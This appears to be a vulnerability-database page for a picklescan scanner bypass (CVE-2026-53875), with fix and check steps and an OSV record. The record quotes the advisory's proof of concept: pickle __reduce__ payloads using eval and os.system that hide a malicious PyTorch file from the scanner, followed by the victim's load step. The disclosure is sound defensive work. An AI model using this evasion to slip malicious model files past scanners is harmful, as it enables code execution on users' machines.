CVE-2026-53875: Picklescan Picklescan (scan_pytorch) Bypass Vulnerability
HIGHCVE-2026-53875 is a HIGH picklescan (scan_pytorch) bypass vulnerability (CWE-184: Incomplete List of Disallowed Inputs) affecting Picklescan libraries in the PyPI ecosystem. The issue involves picklescan (scan_pytorch) bypass via dynamic eval magic_number. Remediation is available by upgrading affected packages to version 1.0.3.
CVE-2026-53875 at a Glance
How to Fix CVE-2026-53875
To remediate this vulnerability, upgrade all affected Picklescan dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install picklescan>=1.0.3
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show picklescan
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-53875, inspect your installed packages using pip:
pip show picklescan
Analyze the terminal output to locate any version of Picklescan in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.3), your application is affected.
Note: The pip show picklescan command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-184: Incomplete List of Disallowed Inputs, where the product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete. In Picklescan, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-53875 Affected Picklescan Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
picklescan
|
PyPI |
< 1.0.3
|
1.0.3
|
References
Frequently Asked Questions
What is CVE-2026-53875?
Which Picklescan versions are affected?
What version fixes CVE-2026-53875?
Is picklescan affected?
What CWE is associated with CVE-2026-53875?
How can I check PyPI dependencies for CVE-2026-53875?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-97f8-7cmv-76j2",
"modified" : "2026-06-18T14:43:46Z",
"published" : "2026-02-18T17:45:52Z",
"aliases" : [ "CVE-2026-53875" ],
"summary" : "Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER",
"details" : "### Summary\nThis is a scanning bypass to `scan_pytorch` function in `picklescan`. As we can see in the implementation of [get_magic_number()](https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/torch.py#L76C5-L84) that uses `pickletools.genops(data)` to get the `magic_number` with the condition `opcode.name` includes `INT` or `LONG`, but the PyTorch's implemtation simply uses [pickle_module.load()](https://github.com/pytorch/pytorch/blob/134179474539648ba7dee1317959529fbd0e7f89/torch/serialization.py#L1797) to get this `magic_number`. For this implementation difference, we then can embed the `magic_code` into the `PyTorch` file via dynamic `eval` on the `\\_\\_reduce\\_\\_` trick, which can make the `pickletools.genops(data)` cannot get the `magic_code` in `INT` or `LONG` type, but the `pickle_module.load()` can still return the same `magic_code`, eading to a bypass.\n\n### PoC\n#### Attack Step 1\nwe can edit the source code of the function [\\_legacy\\_save()](https://github.com/pytorch/pytorch/blob/134179474539648ba7dee1317959529fbd0e7f89/torch/serialization.py#L1120) as follows:\n```Python\n class payload:\n def __reduce__(self):\n return (eval, ('MAGIC_NUMBER',))\n\n pickle_module.dump(payload(), f, protocol=pickle_protocol)\n```\n#### Attack Step 2\nwith the modified version of `PyTorch`, we run the following PoC to generate the `payload.pt`:\n```Python\nimport torch \n\nclass payload:\n def __reduce__(self):\n return (__import__('os').system, ('touch /tmp/hacked',))\n\ntorch.save(payload(), './payload.pt', _use_new_zipfile_serialization = False)\n```\n\n#### Picklescan result\n```\nERROR: Invalid magic number for file /home/pzhou/bug-bunty/pytorch/PoC/payload.pt: None != 119547037146038801333356\n----------- SCAN SUMMARY -----------\nScanned files: 0\nInfected files: 0\nDangerous globals: 0\n```\n\n#### Victim Step\n```Python\nimport torch\ntorch.load('./payload.pt', weights_only=False)\n```\nthen you can find the illegal file `/tmp/hacked` created in your local system.\n\n### Impact\nCraft malicious `PyTorch` payloads to bypass `picklescan`, then recall ACE/RCE.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "picklescan"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.0.3"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-97f8-7cmv-76j2"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-53875"
}, {
"type" : "WEB",
"url" : "https://github.com/mmaitre314/picklescan/commit/134179474539648ba7dee1317959529fbd0e7f89"
}, {
"type" : "WEB",
"url" : "https://github.com/mmaitre314/picklescan/commit/2a8383cfeb4158567f9770d86597300c9e508d0f"
}, {
"type" : "WEB",
"url" : "https://github.com/mmaitre314/picklescan/commit/b9997634683a4f4bd0c7e3701e7ce7e90fe70e8c"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/mmaitre314/picklescan"
}, {
"type" : "WEB",
"url" : "https://www.vulncheck.com/advisories/picklescan-scanning-bypass-via-dynamic-eval-in-scan-pytorch"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-184" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-02-18T17:45:52Z",
"nvd_published_at" : null
}
}